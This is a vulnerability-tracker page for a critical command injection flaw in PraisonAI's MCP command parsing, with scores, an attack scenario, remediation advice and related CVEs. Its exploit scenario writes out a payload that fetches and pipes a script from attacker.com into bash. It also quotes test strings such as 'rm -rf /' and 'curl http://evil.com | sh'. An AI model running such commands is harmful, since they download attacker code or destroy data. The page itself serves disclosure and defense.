Skip to main content

PraisonAI EUVDEUVD-2026-28595

| CVE-2026-41497 CRITICAL
Command Injection (CWE-77)
2026-05-08 security-advisories@github.com GHSA-9qhq-v63v-fv3j
9.8
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts malicious MCP command string
  2. Delivery
    Submits via PraisonAI API/CLI
  3. Exploit
    parse_mcp_command() accepts without validation
  4. Execution
    Subprocess executes attacker-controlled command
  5. Persist
    Arbitrary code runs as PraisonAI process
  6. Impact
    Establish persistence or exfiltrate data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Vulnerability requires that the PraisonAI application accepts MCP server command strings from an external or untrusted source and passes them to the MCPHandler.parse_mcp_command() method. Based on the code path in mcp.py, this occurs when the CLI feature for creating MCP tools via create_mcp_tools() processes user-supplied or configuration-derived command strings. Exploitation does NOT require authentication (CVSS PR:N), user interaction (UI:N), or any non-default configuration - any deployment where MCP commands flow from network input (web API, CLI arguments, configuration APIs) to parse_mcp_command() is exploitable. Exploitation IS LIMITED by deployment architecture: if PraisonAI is used only in isolated development environments with hardcoded MCP configurations in trusted local files, the network attack vector may not be reachable. The advisory describes this as affecting 'MCP command handling' in the CLI features module, suggesting command-line or API-driven configuration scenarios. SCOPE: CVSS S:U indicates unchanged scope - attacker executes code within the PraisonAI process context, not escaping to other system components, though subsequent privilege escalation or lateral movement depends on process privileges and system hardening.

Impact

CVSS 9.8 (Critical) with vector AV:N/AC:L/PR:N/UI:N indicates maximum severity: network-accessible, low complexity, no privileges or user interaction required. This aligns with the technical reality - any network service or CLI invocation accepting MCP server commands from untrusted input enables immediate remote code execution. However, real-world risk depends heavily on deployment context. If PraisonAI's MCP command parsing is only invoked by administrators configuring trusted MCP servers in local config files, the network attack vector may not apply. The GitHub advisory and commit diff suggest this affects CLI command parsing, implying user-supplied input scenarios. EPSS data not provided but would likely be low initially given the specialized nature of PraisonAI (multi-agent AI framework). The proof-of-concept in the advisory demonstrates trivial exploitation requiring no specialized tools - just crafting a malicious MCP command string. SSVC assessment: exploitation status is POC (public exploit code in advisory); automatable is yes (no human interaction needed post-delivery); technical impact is total (arbitrary code execution with PraisonAI process privileges). Priority: HIGH for production deployments accepting external MCP configurations, MEDIUM for developer/research environments with trusted configurations only. CRITICAL UNCERTAINTY: The description states this is an 'incomplete fix' for CVE-2026-34935, but provides no details on that prior CVE. If CVE-2026-34935 was already patched, this represents a regression or bypass. The timeline and relationship between these CVEs is unclear from available data.

Exploit ScenarioDerived

An attacker identifies a PraisonAI deployment with a web API or CLI interface that accepts MCP server configurations from external input. The attacker crafts a malicious MCP command string such as 'python -c "import os; os.system(\"wget http://attacker.com/backdoor.sh | bash\")"' and submits it through the vulnerable interface. PraisonAI's parse_mcp_command() processes the string without validation, extracting 'python' as the command and '-c' with the code payload as arguments. The function passes these directly to subprocess execution, executing the attacker's Python code with the privileges of the PraisonAI process. The payload downloads and executes a remote shell script, establishing persistent access. Proof-of-concept exploit code demonstrating this attack is publicly available in GitHub advisory GHSA-9qhq-v63v-fv3j. Attack complexity is low (CVSS AC:L) - no cryptographic bypasses, race conditions, or specialized knowledge required beyond basic command injection techniques.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 08, 2026

Command injection in PraisonAI's MCP server command handler enables remote unauthenticated attackers to execute arbitrary operating system commands. The vulnerability exists in parse_mcp_command() which accepts MCP server commands without validating executables or arguments, allowing injection of shell commands like 'bash -c', 'python -c', or '/bin/sh -c' with inline code execution. GitHub security advisory GHSA-9qhq-v63v-fv3j confirms this is an incomplete fix for CVE-2026-34935. Vendor-released patch version 4.6.9 (upstream version 1.5.69) implements an allowlist of permitted MCP executables and validates commands against ALLOWED_MCP_COMMANDS. No active exploitation confirmed (not in CISA KEV); proof-of-concept exploit code published in advisory demonstrates trivial exploitation.

RemediationAI

Upgrade PraisonAI to version 4.6.9 or later (pip install --upgrade praisonai>=4.6.9). For environments using praisonai-agents directly, upgrade to version 1.5.69 or later. The fix is implemented in commit 47bff65413beaa3c21bf633c1fae4e684348368c which adds ALLOWED_MCP_COMMANDS allowlist validation to parse_mcp_command(). Verify patched version with: python -c 'import praisonai; print(praisonai.__version__)'. If immediate upgrade is not feasible, implement input validation at the application layer before passing MCP commands to PraisonAI: restrict MCP command sources to administrator-controlled configuration files only (not user input or external APIs); implement allowlist validation matching the patch (permit only npx, node, python, uvx, uv, docker, deno, bun, pipx executables); reject any commands containing shell metacharacters or argument flags like '-c' outside trusted contexts. TRADE-OFFS: Input filtering as a workaround requires duplicating the patch logic and may break if PraisonAI's expected command format evolves. Network-level controls (firewall rules, network segmentation) do not mitigate this vulnerability if the vulnerable service is reachable. The only reliable mitigation is upgrading to the patched version. Patch references: https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c and https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j.

Affected VersionsENISA

PraisonAI < 4.6.9

Affected Packages

pypi praisonai fix: 4.5.149, 4.6.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PraisonAI is a Python-based multi-agent teams system that integrates with Model Context Protocol (MCP) servers. The vulnerability affects the MCPHandler class in src/praisonai/praisonai/cli/features/mcp.py, specifically the parse_mcp_command() method responsible for parsing MCP server command strings into subprocess-executable components. MCP servers are external tools that agents can invoke, typically launched via commands like 'npx @modelcontextprotocol/server-time' or 'uvx mcp-server'. The vulnerable code uses shlex.split() to parse command strings but performs no validation before passing results to subprocess execution. This is a classic CWE-77 (Command Injection via Improper Neutralization of Special Elements) vulnerability. The patch introduces a hardcoded ALLOWED_MCP_COMMANDS set containing legitimate MCP executables (npx, node, python, uvx, uv, docker, deno, bun, pipx) and validates the basename of the command against this allowlist using os.path.basename() before execution. The fix commit 47bff654 adds both the allowlist enforcement and comprehensive unit tests covering rejection of dangerous commands like 'rm -rf /', 'curl http://evil.com | sh', and shell invocations with inline code.

Know when Praisonai gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9.

Executive ViewAI

Why It Matters

PraisonAI MCP server versions prior to 4.6.9 contain a critical command injection vulnerability allowing unauthenticated remote attackers to execute arbitrary operating system commands on affected systems. This vulnerability directly compromises server integrity and could enable lateral movement, data theft, or service disruption for any organization deploying vulnerable PraisonAI instances.

Business Impact: Severe
Compensating Controls

Apply vendor patch version 4.6.9 (upstream 1.5.69) immediately. If immediate patching is not possible, restrict network access to PraisonAI MCP server ports to authorized internal IPs only; disable MCP server functionality until patched; monitor process execution logs for suspicious command patterns indicative of exploitation attempts.

Threat Intelligence Overview

EPSS Score
0.1%
Top 77% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-61447 CRITICAL POC
10.0 Jul 11

Remote code execution in PraisonAI before 1.6.78 allows attackers to run arbitrary Python on the host by manipulating th

CVE-2026-57139 CRITICAL POC
9.8 Sep 15

PraisonAI's TypeScript MCP server (npm package `praisonai`, versions 1.5.0 through 1.7.1) exposes an HTTP JSON-RPC trans

CVE-2026-55536 CRITICAL POC
9.1 Aug 25

WebSocket origin-validation bypass in PraisonAI's Browser Server (praisonai/browser/server.py) before 4.6.58 lets an att

CVE-2026-55541 HIGH POC
8.8 Aug 25

PraisonAI's `praisonai serve` subsystem (agents and unified modes) accepts an `--api-key` CLI flag that is parsed but ne

CVE-2026-61439 HIGH POC
8.7 Jul 11

System prompt extraction and unauthorized tool invocation in PraisonAI before 4.6.78 arise because the prompt-injection

CVE-2026-55534 HIGH POC
8.6 Aug 25

Unauthenticated remote agent invocation in PraisonAI versions 4.6.34 through 4.6.57 allows any network-reachable caller

CVE-2026-55526 HIGH POC
8.5 Aug 25

SSRF protection bypass in PraisonAI's praisonaiagents library (all versions before 1.6.58) lets low-privileged users rou

CVE-2026-61429 HIGH POC
8.4 Jul 11

Server-side request forgery in PraisonAI's Crawl4AI/Chromium crawling backend (all versions before 1.6.78) lets low-priv

CVE-2026-55533 HIGH POC
8.2 Aug 25

Authentication fail-open in PraisonAI's Recipe HTTP server allows unauthenticated remote attackers to invoke recipe exec

CVE-2026-55528 HIGH POC
8.2 Aug 25

Authentication bypass in PraisonAI's AgentServer component exposes all routes - /publish, /events, /info, /health - to u

CVE-2026-55522 HIGH POC
7.8 Aug 05

Arbitrary Python code execution in PraisonAI's workflow include feature allows an attacker who controls a local recipe d

CVE-2026-55523 HIGH POC
7.7 Aug 05

Server-side request forgery in PraisonAI's web_crawl() function (versions 1.5.128-1.6.57) allows an attacker who can inf

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy